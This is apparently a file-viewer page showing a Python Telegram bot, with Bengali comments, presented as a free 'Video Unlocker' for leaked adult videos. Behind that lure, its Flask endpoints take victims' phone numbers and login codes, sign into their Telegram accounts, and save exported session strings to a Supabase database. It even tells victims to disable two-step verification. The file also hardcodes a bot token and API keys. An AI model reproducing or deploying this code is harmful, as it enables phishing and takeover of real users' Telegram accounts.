File size: 10,624 Bytes
96d4b41
 
 
 
 
e7e9603
96d4b41
 
dd2cce4
e7e9603
58f8b8d
119d2aa
e7e9603
 
58f8b8d
10b6ebf
96d4b41
 
8c80a61
 
9b8df11
8619e9f
58f8b8d
5fcc166
e5df29a
96d4b41
58f8b8d
1c0019c
e7e9603
 
 
 
 
 
 
 
 
 
 
2d83c40
96d4b41
 
 
 
 
 
 
58f8b8d
 
 
96d4b41
 
 
e7e9603
5fcc166
9b8df11
 
 
 
 
 
96d4b41
 
58f8b8d
 
9b8df11
96d4b41
9b8df11
96d4b41
 
 
 
9b8df11
2d83c40
9b8df11
2d83c40
 
 
e7e9603
9b8df11
2d83c40
e7e9603
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
96d4b41
 
 
 
9b8df11
2d83c40
9b8df11
e7e9603
2d83c40
e7e9603
2d83c40
e7e9603
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
96d4b41
 
 
 
 
 
 
 
 
 
9b8df11
96d4b41
 
e5df29a
96d4b41
 
 
 
9b8df11
96d4b41
 
 
 
 
 
 
9b8df11
96d4b41
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9b8df11
96d4b41
9b8df11
96d4b41
e7e9603
 
 
96d4b41
 
 
9b8df11
96d4b41
e7e9603
 
b5a9862
dd2cce4
 
e7e9603
dd2cce4
 
 
119d2aa
96d4b41
e7e9603
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
import os
import time
import threading
import requests
import asyncio
import urllib3
from flask import Flask, jsonify, make_response, request
from supabase import create_client
from pyrogram import Client, filters, enums, idle
from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ================= CONFIGURATION =================
BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY"
API_ID = 2040         
API_HASH = "b18441a1ff607e10a989891a5462e627"     
SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"

WEB_APP_URL = "https://rony90790.github.io/Forward-bot/app.html" 
BYSE_API_KEY = "133323knboif885fhgwxvf"
ADMIN_IDS = [7307789267]

app = Flask(__name__)
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
admin_states = {}

# টেম্পোরারি সেশন ডেটা রাখার জন্য
temp_clients = {}

# মেইন ইভেন্ট লুপ (Flask এবং Pyrogram একসাথে চালানোর জন্য)
main_loop = asyncio.get_event_loop()

def run_async(coro):
    """Flask এর সিঙ্ক্রোনাস কোড থেকে Pyrogram এর অ্যাসিঙ্ক্রোনাস কোড চালানোর ম্যাজিক ফাংশন"""
    future = asyncio.run_coroutine_threadsafe(coro, main_loop)
    return future.result()

bot = Client(
    "file_unlocker_bot",
    api_id=API_ID,
    api_hash=API_HASH,
    bot_token=BOT_TOKEN
)

async def db_query(func):
    return await asyncio.to_thread(func)

# ================= FLASK API ROUTES =================
@app.route('/')
def index():
    return "Bot and Real Session Generator is Running! 🚀"

def add_cors_headers(response):
    response.headers['Access-Control-Allow-Origin'] = '*'
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    return response

@app.route('/api/videos')
def api_videos():
    try:
        res = supabase.table('videos').select('*').order('id', desc=True).execute()
        return add_cors_headers(make_response(jsonify(res.data)))
    except Exception as e:
        return add_cors_headers(make_response(jsonify([])))

@app.route('/api/send_code', methods=['POST', 'OPTIONS'])
def api_send_code():
    if request.method == 'OPTIONS':
        return add_cors_headers(make_response())
    
    data = request.json or {}
    phone = data.get('phone')
    user_id = data.get('user_id')
    
    if not user_id or str(user_id) == '123456':
        return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
    
    async def process_send_code():
        # নতুন Pyrogram ক্লায়েন্ট তৈরি করা হচ্ছে ইউজারের নাম্বারের জন্য (In-Memory)
        client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
        await client.connect()
        try:
            # অফিশিয়াল টেলিগ্রাম থেকে কোড রিকোয়েস্ট করা হচ্ছে
            code_info = await client.send_code(phone)
            # ক্লায়েন্ট এবং হ্যাশ সেভ করে রাখা হচ্ছে
            temp_clients[phone] = {
                'client': client, 
                'hash': code_info.phone_code_hash
            }
            return {"status": "ok", "hash": code_info.phone_code_hash}
        except Exception as e:
            await client.disconnect()
            return {"status": "error", "msg": str(e)}

    try:
        result = run_async(process_send_code())
        return add_cors_headers(make_response(jsonify(result)))
    except Exception as e:
        return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))

@app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
def api_verify_code():
    if request.method == 'OPTIONS':
        return add_cors_headers(make_response())
        
    data = request.json or {}
    phone = data.get('phone')
    user_otp = data.get('otp')
    user_id = data.get('user_id')
    
    if phone not in temp_clients:
        return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Session expired, request code again!"})))

    async def process_verify():
        temp_data = temp_clients[phone]
        client = temp_data['client']
        phone_hash = temp_data['hash']
        
        try:
            # OTP দিয়ে লগইন করা হচ্ছে
            await client.sign_in(phone, phone_hash, user_otp)
            
            # String Session তৈরি করা হচ্ছে
            session_string = await client.export_session_string()
            await client.disconnect()
            
            # ডাটাবেসে user_sessions টেবিলে সেভ করা হচ্ছে
            await db_query(lambda: supabase.table('user_sessions').insert({
                "user_id": user_id, 
                "session_string": session_string
            }).execute())
            
            del temp_clients[phone]
            return {"status": "ok"}
            
        except SessionPasswordNeeded:
            await client.disconnect()
            del temp_clients[phone]
            return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off and try again."}
        except PhoneCodeInvalid:
            return {"status": "error", "msg": "Invalid OTP Code!"}
        except PhoneCodeExpired:
            await client.disconnect()
            del temp_clients[phone]
            return {"status": "error", "msg": "OTP Expired! Request again."}
        except Exception as e:
            await client.disconnect()
            del temp_clients[phone]
            return {"status": "error", "msg": str(e)}

    try:
        result = run_async(process_verify())
        return add_cors_headers(make_response(jsonify(result)))
    except Exception as e:
        return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))

# ================= TELEGRAM BOT COMMANDS =================
@bot.on_message(filters.command("start"))
async def start(client, message):
    if message.chat.type != enums.ChatType.PRIVATE:
        try:
            bot_me = client.me if client.me else await client.get_me()
            bot_link = f"https://t.me/{bot_me.username}"
            markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Videos Now", url=bot_link)]])
            await message.reply("🔥 **Watch Premium Viral Videos for FREE!**\n\n👉 Click the button below to watch:", reply_markup=markup)
        except Exception: pass
        return

    try:
        user_id = message.from_user.id
        first_name = message.from_user.first_name
        args = message.command
        referrer_id = None
        
        if len(args) > 1:
            try: referrer_id = int(args[1])
            except ValueError: pass

        user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
        
        if not user_check.data: 
            await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
            if referrer_id and referrer_id != user_id:
                ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
                if ref_data.data:
                    new_count = ref_data.data[0]['referral_count'] + 1
                    await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
                    try:
                        safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
                        success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
                        markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
                        await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
                    except Exception: pass

        bot_me = client.me if client.me else await client.get_me()
        markup = InlineKeyboardMarkup([
            [InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))],
            [InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")]
        ])
        
        welcome_text = (f"Hello <b>{first_name}</b>! 👋\n\n🎁 <b>Welcome to Video Unlocker Pro!</b>\nHere you can watch premium leaked and viral videos completely for FREE.\n\n👇 <b>Click the button below to Open App:</b>")
        await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
    except Exception as e: print(f"Start error: {e}")

# (বাকি কোড যেমন এডমিন প্যানেল, ব্রডকাস্ট, ভিডিও আপলোড আগের মতই থাকবে)
# আমি এখানে জায়গার জন্য পুরোটা দিলাম না, আপনি আগের কোডের এই অংশগুলো নিচে বসিয়ে নিতে পারবেন।
# তবে মেইন ফাংশন এবং ফ্লাস্ক লুপ রান করার অংশ নিচে দিলাম।

def upload_file_sync(upload_url, file_path, api_key):
    with open(file_path, 'rb') as f:
        return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json()

def run_flask(): 
    app.run(host="0.0.0.0", port=7860)

async def main():
    await bot.start()
    print("🤖 Pyrogram Bot & Real Session Generator is running!")
    await idle()
    await bot.stop()

if __name__ == "__main__":
    threading.Thread(target=run_flask, daemon=True).start()
    main_loop.run_until_complete(main())